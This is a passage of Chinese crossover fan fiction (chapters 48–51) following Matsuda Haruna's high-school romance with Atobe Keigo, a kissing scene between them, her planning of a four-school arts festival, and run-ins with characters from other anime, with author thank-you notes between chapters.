其实她之前对他忽然开始积极踊跃打扫房间一事,持喜闻乐见的态度。 毕竟爸妈开店都忙,他们两人从小就会分工协助清理卫生。 哥哥做得多一点,她也能多多少少偷点懒。 但很快,她就发现了不对劲的地方。 屯各大品牌的清洁用品都不算什么,使用不同型号的刮板去擦镜子也不算什么,但是!谁能告诉她,为什么就连酒精喷雾,他也要把所有浓度的一网打尽啊! ! ! 对此,松田阵平回答得一本正经:“当然是因为我在做对照实验。” 松田春奈:“” 说这话时,松田阵平正处于马上就要毕业的关键阶段。她自然以为他的这些反常举动,只是源于毕业之前的就业焦虑,等到顺利入职之后就会缓解。 万万没想到,等到他入职之后,这个症状不但没有缓解,反而还变本加厉了。 好不容易指着周末睡个懒觉的松田春奈,一大早就被外面“叮铃咣啷”的声音给吵醒了。 明明昨天他晚上回来得也不早,怎么周六还能有精力起个大早搞卫生呢? 松田春奈把被子蒙过脑袋,假装自己是个聋子,打算继续睡个回笼觉。 奈何松田阵平敲门敲得震天响:“春奈,起床了。你今天不是还要去参加你朋友的那个什么网球决赛吗?” 是的。 就算松田春奈谈恋爱都已经谈了近一年,松田阵平私下还是把迹部景吾称呼为——你的那个朋友。 松田春奈绝望地发出一声哀嚎,看来今天这个懒觉是要泡汤了。 她把被子一掀,跳下床,打开房门。整套动作如行云流水。 松田阵平被她猛地吓了一跳。 只见她头发睡得乱蓬蓬的,脸上的红晕还未消,看起来像个点燃引线,马上就要爆炸的小炮仗。 他不自觉地退后了一步。 “第一!今天是区预赛。”松田春奈看着他,一字一句道,“不是你说得那个什么决赛。” “第二!我今天也没打算去看这场比赛,因为” “你们分手了?” 松田阵平的话音立即升高了八个度,脸上的表情都变得丰富多彩起来。 “别难过,我之前就跟你说过,男人没有一个好东西!” “哥你把自己也给骂进去了。” “我确实不是什么好东西。” “那爸爸呢?” “这句话还是咱爸告诉我的!” 松田春奈:“” 眼看着松田阵平再这么下去,就要举办分手派对了,松田春奈这次缓缓开口道:“我不去看比赛,是因为景吾说这场比赛没有看头。冰帝的选手可以在30分钟之内结束比赛。” 松田阵平瞬间安静了。 “ 他现在有几个保镖?” “两三个的样子吧,怎么了?” “还是少了,可以让他再多招几个。我坚信他早晚有一天会被人套麻袋,多请点保镖说不定能免受皮肉之苦。” 松田春奈打了个长长的哈欠,敷衍道:“嗯嗯,好的收到。” 然后转身回屋继续躺着。 松田阵平本想说,既然起床了就别回去躺着了,赶紧起来吃早饭。但是看到她眼下明显的青黑后,最终还是什么都没说。 松田春奈的回笼觉睡得很沉,醒来后只觉得浑身发软,整个人像是泡了一场舒服的温泉,懒洋洋的,连骨头都酥了。 她转了转脑袋,看着自己房间里亮到能反光当镜子的地面,松田春奈彻底服气。 有这么一个勤劳的“海螺哥哥”,他打扫卫生的声音大点就大点吧,还要啥自行车! 她独自在家里慢吞吞地转悠了一圈,左看看,又看看。只觉得无一处不干净,整个家整洁地像是用来展示的样板房。 逛到厨房的时候,松田春奈发现了哥哥给她预留的饭菜,放到现在,温度正适合入口。 等她收拾好自己,坐下来吃饭时,迹部的消息也传了过来:“春奈,我们赢了。” 她的“恭喜”二字,还没发出去,他的第二条讯息紧接着也到了。 “你慢慢睡,我还是在之前的巷子口处等你。” 自从两人交往之后,每当迹部景吾打完一场公开比赛,不管冰帝最终是赢还是输,他都会默默地来到她家巷子口处,等着她向自己飞奔而来。 迹部景吾摁下车窗,凉风瞬间钻进车内,他隐约嗅到了自己身上的沐浴露味。 正是松田春奈用得同款。 只要一想到呆会儿见面的时候,她肯定会和往常一样,一下子扑到自己怀里,然后拽着自己的衣领猛吸一口,他就忍不住想笑。 不动声色地排查并迎合女朋友的喜好,对于他来说,是一件既充满刺激,又能让他得到满足的事情。 她更倾向于淡香,最好是若有似无的那种。 这样她就会围在自己身边嗅个不停,像只无忧无虑的小鸟。 不知想到了什么,迹部景吾侧过头去,拽了下衣领。 他慢慢地在心里计着时,手指不轻不重地敲打着大腿。 他其实最讨厌等待。 唯有在这种时候,却不觉得等待令人心焦难熬。 相反,他觉得在等待松田春奈的每一秒里,都让他对下一秒充满了期待。 因为他明确地知道,只要松田春奈看到了自己的消息,她就一定会出现在巷子口。 不过是或早或晚而已。 他等得起。 * 转瞬又是一年夏季。 冰帝这次的成绩前所未有的好。 不仅以都大赛第一的成绩进入到了关东大赛,还顺势拿下了关东大赛的第一名。 这可是冰帝睽违了好几年之后获得的最佳名次。 “春奈春奈?”迹部景吾轻轻地推了推她,已经高三的他,身型较之两年前更为挺拔宽阔。 阳光自他身后落下,一大片阴影将趴在桌子上午睡的松田春奈笼罩起来。 “醒醒,该去上下午的课了。” 松田春奈最近正忙着东京四校共同举办艺术节的事,已经连着好几个星期没睡过踏实觉了。 每天一睁眼就是在和其余三校的学生会成员对接信息,和赞助商掰扯预算,和部里的小伙伴们一起完善方案。 就连做噩梦的类型都变了。 直接从梦到松田阵平身负重伤,变成了艺术节潦草开场,收获差评一片的场景。 松田春奈迷迷糊糊醒来之后,就听到迹部景吾在自己耳边轻声说道:“春奈,我下周要去合宿” 一听到这儿,本来还有些昏昏欲睡的松田春奈,立刻精神了起来。 “合宿?是要去一周吗?”她揉揉眼睛,努力让自己的双眼充满真诚,“那你下周三的艺术节还能到现场吗?” 她心里暗暗盘算着小心思,嘴角的笑怎么都压不下去。 迹部景吾看着她亮闪闪的眼睛,无奈道:“你就这么喜欢我去合宿?” 松田春奈淡笑不语。 迹部这个男朋友哪里都好,只除了一点—— 他醋劲太大。 短视频当道的时代,男色也成了闲暇时的一种消遣。 更别提她有时候用了一天脑子,回家只想刷一些无脑短视频放松一下。 看别的哪有看帅哥有意思。 宫崎优子对此深表赞同,并且给她推荐了不少这方面的博主。可谓是类型多样,各有千秋,主打一个雨露均沾。 松田春奈一般情况下是在入睡前开始这项消遣活动。 她的生物钟很准时,一般其实看不了十分钟就会自动入睡。 再者说,她也只是偶尔睡不着的时候看看。 但谁知道就那么不巧,那天中午宫崎优子给她发送视频链接的时候,一不小心就被眼尖的迹部景吾逮个正着。 她甚至还能记得当时他的表情—— 五分不解中夹带着三分无语,和两分无奈。形成了一个完美的饼状图。 “你喜欢看这个?” “也不算喜欢就是单纯看看。”松田春奈弱弱地解释道。 莫名有种精神出轨,却被正室当场抓住的局促感。 “嗯单纯看看。”迹部景吾坐在她旁边,两人的双腿紧挨着。 男生的制服裤子,和女生制服裙下光裸的腿部肌肤,不时地贴在一起,有种莫名的强制感。 迹部景吾平静地说道:“那你应该不介意我和你一起单纯看看这些男生吧。” 越说到后面,他咬字越清晰。 松田春奈本来还觉得有点对不住他。然而,被他这么一顿像是查犯人一样地对待之后,她也变得不爽起来。 不就是看了几眼帅哥吗?至于吗? 她连赞都没点,评论也没留。只是把他们当作睡前的赛博安眠药,这都不行吗? “好啊。正好我也想看。”松田春奈点开屏保,“那就一起看好了。” 打开软件,第一个视频是温馨宠物向,接连往下滑了三四个,都还是猫猫狗狗类的视频。 直到第五个,才出现了一个ip显示在东京大学的蒙面腹肌男。 点开这个视频没过一秒,迹部景吾就开口道:“他的腹肌没有我的好看。” 松田春奈不做声,继续往下滑。 反而是迹部景吾受不了了,一把将她的手机屏幕熄灭。他把衣服撩起来,牙齿咬着下摆,将她的手直接放到他的腹肌上面。 “不要去看别人。”他说道。 “我的眼里只有你。所以,你可不可以也只看着我?” 作者有话说: 感谢在2024-06-02 09:50:53~2024-06-05 23:56:08期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:77不吃辣-被ddl支配版1个; 感谢灌溉营养液的小天使:知微50瓶;焦糖布丁3瓶;七1瓶; 非常感谢大家对我的支持,我会继续努力的! 第49章 松田春奈被迹部景吾突如其来的慷慨之举晃了下神。 少年的腹肌线条清晰紧实,块状分明。仿佛出自世上最伟大的雕刻家的手笔。 迹部景吾的身体条件是一等一的好。 造物主仿佛格外钟意他,不但赋予他超强的运动神经,就连身材也把他塑造得比别人更加养眼。 松田春奈也是刷视频的时候才发现,原来并不是所有人的腹肌长得都是对称的。 这对于有轻微强迫症的她来说,实在不算一件友好的事情。 但迹部却和他们不同。 他的腹肌线条流畅,颇有股对称之美。既不会夸张得像个牛蛙,也不会虚弱得像个纸扎的风筝,好似吹口气就没了。 这便让松田春奈看得十分舒服。 感受着手下温热的肌肤触感,松田春奈觉得自己愤怒的小火苗,早已被名为“男色”的这场及时雨,给浇得一干二净。 她不禁在心里感叹。 和手机屏幕里那些故意遮挡着脸,只露出身材的网红相比。还是眼下这位既看得见,又摸得着的合她的心意。 看着松田春奈直勾勾地看着自己的身体,迹部景吾内心又好气又好笑。 他早就知道,当初她答应和自己恋爱的很大一部分原因就是因为自己的身材和相貌。所以他这几年一直用心保养和维护着。 除去固定的部活和专门的格斗训练,即使再忙,他每周也会抽出时间专门锻炼身体各部分的肌肉群,就是为了能够让她对自己一直保持这种生理性迷恋。 相貌方面他有十足的信心。可要是论起身材,他还是有些压力的。 谁让她的兄长以及兄长的那些同期好友都是一溜的肩宽腿长型人员,更别提万一以后她考入警校,周围环绕的更是数不胜数的好身材。他要是再不加把劲,万一女友的目光被别人勾走了的话,那他才是哭都没地方哭去了。 原以为她对自己的这份痴迷起码能持续到大学期间,届时即使两人分隔两地,但只要他每周定时回国陪伴,他有信心能把这份感情从校服持续到婚纱。 他算到了一切两人可能会分开的客观因素,却独独落下了唯一的主观因素—— 那就是松田春奈的想法。 所以他才会在发现她去看其他男生视频的时候,这么破防。 与其说,他是因为女友看别人腹肌而破防;倒不如说,他是因为发现,原来她还会因为别的男人而露出欣赏之色而破防。 毕竟后者在某种意义上代表着,作为男友的他对于松田春奈来讲,其实和其他男生并无本质上的不同。 想到这里,迹部景吾抓着她的手愈加用力,仿佛想顺着这个力道,把她直接按进自己的身体里面。 从此你中有我,我中有你,再不分离。 她修剪整齐的指尖甚至在他的皮肤上留下了印记,而他却恍然不觉,仍在继续用力。 “春奈,我的腹肌好看吗?” “好看!” “那是他们的好看,还是我的更好看?” “当然是你的。” 看着女友的眼里终于像之前一样对自己充满了欣赏之色,迹部景吾这才勉强压下刚刚的不安之感。 他像是得到了主人夸奖的金毛,原本在身后耷拉下来的尾巴,又开始疯狂转动起来。 “哼,那些人连脸都不敢露,肯定长得不好看。”迹部景吾小声蛐蛐道,继续给女友上眼药。 “嗯嗯,你说得都对。” 松田春奈虽然和迹部景吾谈了两年多的恋爱,情到浓时两人也亲亲贴贴过。却也只是点到为止。 女生们聚在一起,私下聊天的时候,偶尔也会说一些和男友的事情。 有的时候是甜蜜的分享,围在一起的女孩子们听得眼睛亮晶晶的,折射出灿烂动人的光。听到兴奋处时,即使用手拼命挡住嘴巴,但还是会有小声地惊呼声流露出来。 有的时候也会苦恼男友的所作所为。 小姐妹们人多力量大,大家总能想出来解决之道。 但是,总会碰到一些大家几乎都碰到的棘手问题。 譬如,为什么接吻的时候,男生的手总是不老实。 “对啊,好讨厌。他们的手就跟开了导航一样” “你们男朋友有说过想要进一步行为的吗?” “是有说过啦。但我妈妈跟我说过,高中毕业之前一定不可以。” “我也不想要是能研发出来可以拥抱和接吻的机器人就好了。感觉我也不需要这个男朋友了。” 松田春奈在这种场合一般都是当一只沉默的花瓶。偶尔也跟着出出主意,或者点点头,表示自己有认真在听。 没办法,这群大小姐实在是不拿她当外人。兴致上来的时候,什么话都会往外说。最后往往演变成她一个人小脸红中透黄 和大家苦恼的事情正好相反。 松田春奈苦恼的是,怎么才能让自家男友稍微不那么古板。 她原本以为按照他自恋的性格,自己总能时不时地过过眼瘾,偶尔说不定还能过过手瘾。 可谁知道,他的性子却正好和其俊朗贵公子的外表相反。 也许是读多了德语著作的原因,他的性格也多多少少受到了德国人严谨古板的影响。 在两个人单独相处的时候,他也从来都是一副衣冠楚楚,正襟危坐的样子。反倒让松田春奈更想看到他破功的样子。 说起来,她也或多或少地感受过他的几次冲动。 ——从他越收越紧的手臂中,以及骤然拉开的安全距离里。 虽然不知道他今天为什么骤然转变了性子,但有便宜不占王八蛋。 既然他都把自己的手放到他的身上了,松田春奈干脆按照自己的心意,用指腹顺着他腹肌上鲜明的轮廓慢慢勾画起来。 “咦,你的腹肌是软的。” “正常放松状态下都是软的。” “那什么情况下会变硬?” “在我吸气的时候。” 松田春奈的睫毛快速眨了几下。她咬住下唇,欲说还休地看着他。 迹部景吾太了解自己的女朋友了。 见状,他把声音放得很轻,如同戏本里引诱名门正派的精怪:“春奈,你想试试吗?” 松田春奈还是不说话,但是她的目光里已然直白地写着“想,好想,超级想”这几个大字。 “练腹肌真的好辛苦。”迹部景吾打算给自己谋点福利,开始卖惨道,“我总不能让你白摸吧。” 松田春奈:“” 她似笑非笑地开口道:“那你还主动把我的手放在你的身上做什么?” 迹部景吾卡壳了几秒,实在想不出什么好的理由,干脆破罐破摔道:“那你亲我一下,亲完之后我就让你接着摸。” 他知道自己现在有点趁火打劫的意思。但没办法,他现在必须靠着两人之间的亲昵举动,去安抚自己的不安和多疑。 亲就亲,反正两人又不是没亲过。 松田春奈看着他,问道:“你想让我亲哪里?” 不知想到了什么,迹部景吾的呼吸声明显加重了,等不及她主动献吻,直接俯身向她吻了过去。 松田春奈躲避不及,只得临时扭头把脸一歪。 他的吻便直直地落在了她的耳垂上。 这刺激太过,松田春奈顿时打了个激灵。 “所以现在,连接吻也不可以了是吗?” 迹部景吾紧紧地抱着她,头埋在她的脖颈处,让人看不清他的神情。 此时,他身上的衣服还没完全放下来,正卡在腰的半截。腹肌遮了一半,露了一半,让人更想试试手感。 “你在说什么呀?”松田春奈把他的头掰到自己面前,然后“吧唧”一声亲了过去,“不是你自己说的,要我主动亲你才能给我摸吗?那现在我亲完了,赶紧让我试试腹肌硬起来是什么样子。” 迹部景吾松了口气,耍赖道:“亲脸不算。再换个地方。” 松田春奈没想到他变脸变得这么快:“那刚刚我问你,想让我亲哪里的时候,你怎么不说?” 迹部景吾继续词穷,只好低头默默地把衣服再往上卷一圈。 “我以为你知道,我想让你亲哪里。” 刚化成人形的男精怪,眼神里仿佛带着钩子。他还不会用人世间的礼义廉耻来伪装自己,只顾着让自己得到满足。 松田春奈看着面前在向自己招手的腹肌,没脾气地走了过去:“闭眼。” 迹部景吾以为她听懂了自己的潜台词,于是很听话地照做了。 她看着他锋利的眉眼,英挺的鼻梁以及轻轻抿起的薄唇。促狭之心微起,再次亲了过去。 “咳咳,亲额头不算。” “那你闭眼。” “亲眼睛也不算。” “你再闭眼。” “唇角也——” “那我不摸了!”松田春奈开口道。 迹部景吾生怕自己再把她惹恼了,赶紧改口道:“——也不是不行。” 松田春奈挑眉:“你确定?” 迹部景吾坚定道:“我确定。” 松田春奈继续确认道:“这次不会临时反悔了?” 迹部景吾直接用行动来表示自己的诚意。 松田春奈看着他一副等待自己随意上手的样子,忽然觉得嘴唇有点发干。 想了想,她又对他说道:“你再闭一下眼睛。” 迹部景吾以为她不好意思,也没多想,再次照做了。 凡人最终还是招架不住山野精怪的伎俩,半推半就地随了他的心意。 当迹部景吾察觉到嘴唇上的湿热时,他立即睁开了眼睛。 一边轻轻回吻过去,一边看着她轻笑。 松田春奈被他笑得脸红起来,打算抽身离开。然而她身后的大手却仿佛预料到了她的想法一般,牢牢地箍着她的腰肢,让她动弹不得。 “现在亲多久,呆会儿我就让你摸多久,怎么样?” 他的舌尖轻轻舔着她的唇瓣,含含糊糊地说道。 松田春奈被他亲得舒服极了,浑身酥酥麻麻地像是过了电。双手顺势搂住他的脖子,不再挣扎。 迹部景吾看着她的双颊渐渐染上了一层瑰丽的霜色,眼底的晦色也慢慢涌了上来。 男妖精的爱意总是充满着独占和霸道之意的。 虽然他已经努力地约束自己要徐徐图之,但骨子里的占有欲还是会时不时地流露出来。 他甚至有时候会阴暗地希望,松田春奈要是可以在颜控的基础之上,变得再“拜金”一些就好了。 看男人的眼光高不是问题。 对他来说,越高才越好。 最好到最后才发现,只有他才是这世上最能满足她的人。 他们合该是这世上最契合的一对眷侣。 作者有话说: 感谢在2024-06-05 23:56:08~2024-06-19 01:35:01期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:七1瓶; 非常感谢大家对我的支持,我会继续努力的! 第50章 由于原定的网球对抗赛临时延期,迹部他们先前定好的合宿计划也随之取消。 临近四校艺术节,当松田春奈得知这个消息的时候,只有一个想法,那就是—— 太好了,终于又多了几个劳动力。 没办法,冰帝大多数的网球正选队员都在学生会里身兼多职。一旦他们网球部有活动,学生会这边就缺人手。 本来为着这件事,她都打算去别的社团借人来顶缺了。没想到峰回路转,柳暗花明又一村了。 迹部景吾看着她脸上抑制不住的笑容,失笑道:“就这么开心?” “当然!”说着,松田春奈把厚厚的一摞策划方案“砰”地一声放到他的桌子上,“欢迎加入到我们干活的行列,会长大人。” 忍足侑士本来只是打算进来讨杯水喝,结果就看到她毫不留情地使唤迹部的画面。 “那什么,我忽然点事,就不打扰——” 虽然天才的第六感告诉他快逃,但可惜还是没逃过松田春奈的手心。 她笑意盈盈地把另一摞资料放到他的面前,然后做了个手势:“请吧,秘书长。” 眼看着逃不过去了,忍足侑士仰头干了这杯白开水。 而后化身为田间劳作的老黄牛,开始勤勤恳恳低头干活。 虽然文件看起来繁多,但其实前期的大部分工作早已被松田春奈他们做完。现在只需要他们对照着条目一一核实即可。 三人的效率很高,花了两个多小时就理顺了将近半米高的文件。 干到后面,忍足侑士嫌弃平光镜碍事,直接摘了放到一边:“工作量这么大,怪不得你天天跑去别的社团薅人。” 松田春奈:“本来人手就紧缺,还时不时有请假的,去合宿的,以及申请退部的” 不过好在她都挺过来了。 她为了这次的四校联合艺术节准备了将近一个多月,付出了无数的心血,绝不允许中间出现任何的差错。 所谓四校联合艺术节——即冰帝学园、樱兰学院、英德学院以及洛山高校,这四所兄弟学校每年轮流坐庄当东道主举办的校园祭,距今已经有几十年的历史了。 校园祭上不但活动丰富多彩,还会有许多免费的抽奖活动。反正这群富家子弟最不缺的就是钱,动动手指就能流出来不少好东西。 每年都会有学生在网上po图炫耀,看得其他校外人士很是眼馋。 虽说每年的校园祭除了会给四校的学生门票以外,同时也会预留一些给大家的亲朋好友。但由于凑热闹之心人皆有之,大家都想过来开开眼,这也直接导致校园祭门票一票难求的盛况。 大家的期待越是高涨,松田春奈就越是担心出差错。每天都会和各项目负责人确认流程,以及备选方案。确保不论中途发生什么意外,当天的活动都能够顺利进行。 忍足侑士看着她像个高速旋转的陀螺一样,一秒钟也闲不下来,光是在旁边看着都替她觉得累。 好不容易临时和外联部开完语音会议,她又开始继续修改完善她的策划书。 忍足侑士忍不住赞叹出声,对她旺盛的精力佩服得是五体投地。 即使不论她每次都独占鳌头的成绩,光是她的这份超绝耐心,以后也一定是个牛人。 他擦了擦眼镜,诚恳道:“松田,以后苟富贵,勿相忘。” “是不是说反了?”松田春奈笑道,“这话应该是我对你说才对吧。” 忍足侑士摇了摇头:“要是你以后不想当警察了的话,随时欢迎来学医。你简直就是我父亲心目中理想的医学生模板。” “精力旺盛且耐心十足,天生学医的好苗子。” “你这句话到底对多少人说过?”正伏案工作的迹部景吾向后一仰。 他捏捏鼻梁,闭目养神道,“光是我在场的情况下,就听你说过两次。” “忍足伯父知道你在外面这么勤勤恳恳给他招生吗?” “这话我也就对你和松田说过好吗。”忍足侑士摸摸鼻子,“主要是你们俩的性子太适合当外科医生了。简直一个比一个有耐心。” 松田春奈开玩笑道:“说得跟你没有耐心一样。不知道是谁最近天天拽着向日君练新招式。我昨天经过球场的时候,向日君眼见着都蹦不高了。最后趴在网前大喊救命。” “没办法,咱们冰帝估计是没有人走职业运动员这条路的。”忍足侑士难得煽情起来,“大家都高三了,不出意外应该也是最后一次参加全国大赛。总得拼一把吧。” 一说到这个话题,屋里的气氛莫名变得低落起来。 忍足侑士这个人憋不住话,想了想还是问了出来:“松田,你确定是要报考东大了吗?” “对啊,不然我为什么要这么拼死拼活地想办好这场艺术节。不就是为了能顺利拿到推荐信吗。” 松田春奈轻叹一口气。 高中这三年她也算担任了不少大大小小活动的策划,任谁也不能说她的履历不优秀。 但谁让她想上的是东京大学呢。 谁让东大除了笔试和面试之外,还要有一系列能证明你在高中时期德智体美劳全面发展才行的文书材料呢 光是从东大被赋予考生绞肉机这一词的外号上来看,就足以得知斩获东大的offer有多么不易了。 所以,普通的优秀对她来说还远远不够。 她要的是远超他人,是一骑绝尘。 好在对她来讲,最不缺的就是好胜心和征服欲。 只要这场艺术节顺利办完,冰帝这边的推荐信到手之后,东京大学的入场券,她定能收入囊中。 忍足侑士看着迹部景吾面上平淡的神情,继续开口问道:“那松田你有想过出国念书吗?” “没有,我恋家。” 迹部景吾应和道:“好巧,我也恋家。” 忍足侑士:“” 他隐晦地翻了个白眼。 男人为了能在心仪的人面前给自己贴金,真是什么话都能说出来。 什么恋家,他干脆直接说自己“居家”“宜家”得了。 其实有关上什么大学这件事,迹部景吾从高二伊始就旁敲侧击地问过松田春奈。 当时她就答得毫不犹豫,直指东大。 他的读书轨道早已被家里人安排地明明白白。迹部家在海外的人脉和公司需要维系,他大学必然是要去国外念书。 如果不是他私心作祟,高中时期他就要听从家里指挥,直接转到英国的一所私立男校去的。 忍足侑士缓过来那阵恶心劲,为了好兄弟,他继续主动出击:“那毕业之后的事情你有考虑过吗?” “大概就是考警校,当警察。然后成为最年轻的警视总监吧。”松田春奈断断续续地说了点。 只不过她每多说一句,忍足的脸上就多一点对迹部的同情之色。 在察觉到此处不宜久留的气氛之后,他果断找理由闪遁了。 反倒是迹部景吾听得津津有味。 她未来的计划里她的父母,兄长,朋友,甚至是警校组的那些同期,但却始终没有他。 他整个人平静极了。 其实他比谁都清楚,松田春奈和他谈恋爱,根本没有抱着有什么以后的想法。 别说她没觉得两人会有以后,就连他们这群冰帝的同学,可能也没几个人看好他们的恋情。 但这都没关系,反正事在人为。 忍足这家伙虽然话又密又没营养。 但有一点,他却说准了。 那就是——他耐心十足。 他从小就喜欢看动物类的纪录片。 而猎豹,则是他最喜欢的食肉动物。 它虽以速度见长,却并不全靠速度来捕获食物。 相反,它很懂得等待,也很擅长珍惜机会。 此刻的他就如同藏匿在草丛中的猎豹,静静地注视着眼前自由自在的猎物。 迹部景吾的眸色暗了下来,他已在暗地里埋伏许久。只等恰当的时机一到,就能将标记好的宝物带回到自己的巢xue ,据为己有。 他的喉咙微动,轻轻地咽下自己的欲望。 他提前将未来的美好幻象透支,给现在的自己洗脑—— 适时的忍耐,换来的将会是恒久的欢愉。 艺术节开幕当天,松田春奈以及迹部和忍足三人和以前一样,站在校门口充当迎宾组,等待兄弟学校校友的到来。 忍足侑士吐槽道:“从高一开始,每次都是咱们三个人在门口站岗,我看咱仨以后直接去门口当保安得了,还能少走五十年弯路。” 松田春奈点头道:“那我要来冰帝当保安,到时候麻烦让行政处的人把我这三年的工作经验直接加到工龄里,谢谢。” 由于三人站岗经验丰富,早已练成腹语传话技能。就算是枯燥的社交寒暄,也能让他们找到乐子。 “噢不——冰帝怎么能如此对待一位美丽的女孩。”须王环人还没到跟前,咏叹调一样的台词就先到了。 忍足侑士抬眼望去,顿时觉得自己的眼睛被这小子的金发闪得有些发疼:“嘶——他出场怎么还自带玫瑰花的背景?” “小景,你算是碰上对手了。” 须王环身后的男子公关部一字排开,看起来颇有排场。 松田春奈最近这段时间经常去樱兰学院和他们的会长商议事情,对这家伙的特殊之处已然自动脱敏。 她给了这位无时无刻不在表演舞台剧的少爷一枚社交微笑之后,而后熟络地和藤冈春绯打了个招呼。 还好这位小姐姐才是樱兰学生会里的外交担当。也只有和她交接工作的时候,才能让松田春奈不会觉得自己交流有问题。并且聊完之后,也不会身心俱疲。 堪称镇校之宝。 但凡换成这所学校里的其他人,她都不知道自己能不能坚持到现在。 每次去樱兰学院的时候,她都会对自己当初选择冰帝的这一想法表示无比的庆幸。 到了那里之后她才知道,什么才叫做真正的浮夸。冰帝的这些二代们和他们一比,都显得格外接地气。 藤冈春绯腼腆道:“好久不见,春奈。你们今年的艺术节比我们去年办得要正常多了。” 站岗三人组想到去年那场大型的豪华版过家家校园祭,嘴角的笑容都变得有些僵硬了。 “你们樱兰去年举办得也很不错啊。”松田春奈在脑海中快速地寻找着合适的形容词,“起码,你们给我们这些外校学生准备的衣服很漂亮。” 嗯,几百万円的衣服当然会很漂亮! 那可都是小姐和少爷花大价钱专门找人制作的高定,就算是难看也难看不到哪里去。 就当是看着钱的份上! 须王环开口道:“迹部君,就算你现在是和松田桑恋爱,也不能罔顾他人意愿。要知道,好男人的一切是要让女士开心——” 迹部景吾听得不耐烦了,刚要反驳,凤镜夜眼疾手快,推着这位始终不会看眼色的Boss走了进去。 “哼,算他们走得快。”迹部胸口的火气没能发出去,沉着脸道。 送走了这位话不投机半句多的,迎来了另一位红头发的制服少年。他虽然看起来温和有礼,浑身上下却透着一股拒人于千里之外的冷淡感。 “须王君看起来还是和以前一样。”赤司征十郎微笑道。 他和迹部简单说了几句话,临走之前又转身朝松田春奈点头道:“松田桑,我还是那句话,随时欢迎你加入洛山高校。我校的奖学金和冰帝相比,只高不低。” 这句话,她从两人高一的第一次见面开始,一直听到了现在。 虽然,他说这句话时的场合一直在变,但是她的答案却一直没变。 松田春奈笑了笑,一如既往地婉拒了。 赤司脸上的遗憾之色一闪而过,没等迹部动手撵人,他长腿一迈就离开了。 迹部景吾咬牙切齿道:“一个两个的都在这里贼心不死。” 忍足侑士听着他嘴里的动静,在心里做着剧烈的斗争。 到底是去给他科普医学小常识不要磨牙,从而正面承担他的怒火好;还是努力控制自己,安静地当一个沉默的花瓶好。 没等他想好怎么做,松田春奈直接出手,开始担当人间灭火器。 她把卷起来的袖子放下,遮住指尖,而后伸手去勾了下迹部的手指:“要去内场看看我安排的活动项目吗?” 迹部景吾像是被戳破了气的皮球,没脾气地点点头。 “不是!迎宾工作还没结束啊喂!英德他们还没来啊啊啊!”看着他们两个转身要离开的样子,忍足侑士及时出声道。 “你说他们?”松田春奈像是看到了什么垃圾一样,皱了皱眉头,“他们应该不会来了。” “?”忍足侑士小心翼翼道,“你和他们打架了?还是他们给你贴红牌了?” “都不是。” “那是为什么?” “那个凤梨头要我当他女朋友,被我拒绝了而已。” 作者有话说:《 》 50-60 第51章 松田春奈的这句话,简直就是平地起惊雷。 忍足侑士第一时间看向迹部景吾,十分担心他直接在校门口就上演死亡大追杀的现实版。 迹部铁青着一张脸,杵在校门口,开启三百六十度认脸模式。 忍足也顾不上迎宾了,冲着松田春奈疯狂使眼色:“你们两个赶紧进去玩吧,剩下的交给我就行。” 迹部和道明寺这两个人本来就互相看不上眼,又同时有一副不对付的狗脾气。现在没碰上面还好,要是一旦撞上了 那场面,简直不敢想。 忍足觉得自己像个操心的老妈子,这也害怕,那也担心。 “冷静,小景。冷静!”他看着迹部攥起的拳头,第一时间冲到他身旁,轻声安抚道,“来,跟着我,深呼吸——” “我很冷静。” 迹部景吾的话仿佛带着极寒地带的冰碴子,冻得人直打哆嗦。 完蛋了。 他看着迹部的面色比暴雨之前的天色还要阴沉。在心里大拉警报,后悔自己干嘛非得多嘴问这一句。 “道明寺” 迹部景吾恶狠狠地把这几个字在嘴里使劲咀嚼着,像是要把这个名字生吞活剥下去。 关于松田春奈起的凤梨头这个代号,不说名字还好,一旦把名字和人对上号,忍足就忍不住想拍大腿狂笑。 但是—— 他觑视着迹部的神情。 但凡他上一秒敢笑出声,下一秒他可能就要被拉去球场上当他的出气包了 就凭迹部现在的怒气值,不把他拉练到只剩下半条命,绝不会轻易罢休。 他忍! 松田春奈丝毫没有察觉到忍足的异样。 她点点头,应和道:“对,就是这个名字。” “这个凤梨头真是白瞎了这么个好名字,要不是他长相正常,我都怀疑他是不是有点轻微的超雄综合征。毕竟他的脾气真的太暴躁了——” “噗呲——”人在越严肃的场合,就越想笑这种事情,终于还是发生在了忍足的身上,“啊哈哈哈凤梨头,哈哈哈超雄症哈哈。” 他明显已经被戳中了笑点,笑得根本停不下来。 忍足侑士把眼镜单手摘下来,擦了擦眼角的泪水,说道:“松田,你和小景真不愧是情侣。” “当年小景在宴会上第一次见到道明寺的时候,也是这么跟他说的。” 松田春奈好奇地看向迹部景吾:“你也给他起外号了?” “没有,他那个时候还不是这个发型。”迹部景吾回忆道,“我只是在他发脾气的时候,建议他去医院检查一下大脑。” 忍足侑士补充道:“估计是那个时候开始,他就和小景结下梁子了。以后不论什么时候遇上,他们俩都会拌两句嘴。” 松田春奈:“” “还是你有先见之明。”松田春奈对着迹部景吾比了个大拇指,“他确实应该去医院看看脑科大夫。” “——他明明有喜欢的人,却还要当着那个女生的面,让我当他女朋友。真的太奇怪了。” 忍足侑士觉得自己的大脑好像没跟上进度,滑稽地发出了一声:“哈?” 也许他最近真的是太忙了。 太久没去社交场合上social,以至于连道明寺从暴躁比格,转型成了花花泰迪这件事都不清楚。 “对啊。他在跟我”松田春奈暗自运气,伸出两根指头放在脸庞充当双引号,“表白的时候,眼神一直在瞄旁边的一个女生。估计就是把我当做情感道路上的路人催化剂吧。” 她的表情像是吞了一个苍蝇:“明明喜欢人家,不愿意承认就算了,还要故意拿乔。最后还要拉上无辜群众当炮灰。啧啧。” “没品!” 松田春奈总结道。 迹部景吾重重地复读道:“没品!” 就在这时,忍足侑士的小道消息也到手了。 “好家伙。道明寺还真是谈了个女朋友!”他瞪大双眼,不可置信道。 竟然真的有勇士能忍受那家伙的坏脾气! 这简直就是圣母玛利亚转世! 世界上最适合当医生的人终于出现了! 忍足的关西吐槽魂顿时被激发了。 他一目十行地看着别人给他传来的八卦:“ 虽然谈了恋爱,但是两人却经常吵架。而且,最近他们好像在闹分手。” 迹部景吾冷哼一声:“都有女生愿意忍受他的暴脾气,和他谈恋爱了,他还在瞎闹腾什么。” 忍足耸耸肩:“谁知道呢。就道明寺那个狗脾气,被他姐姐揍一顿就老实了。” 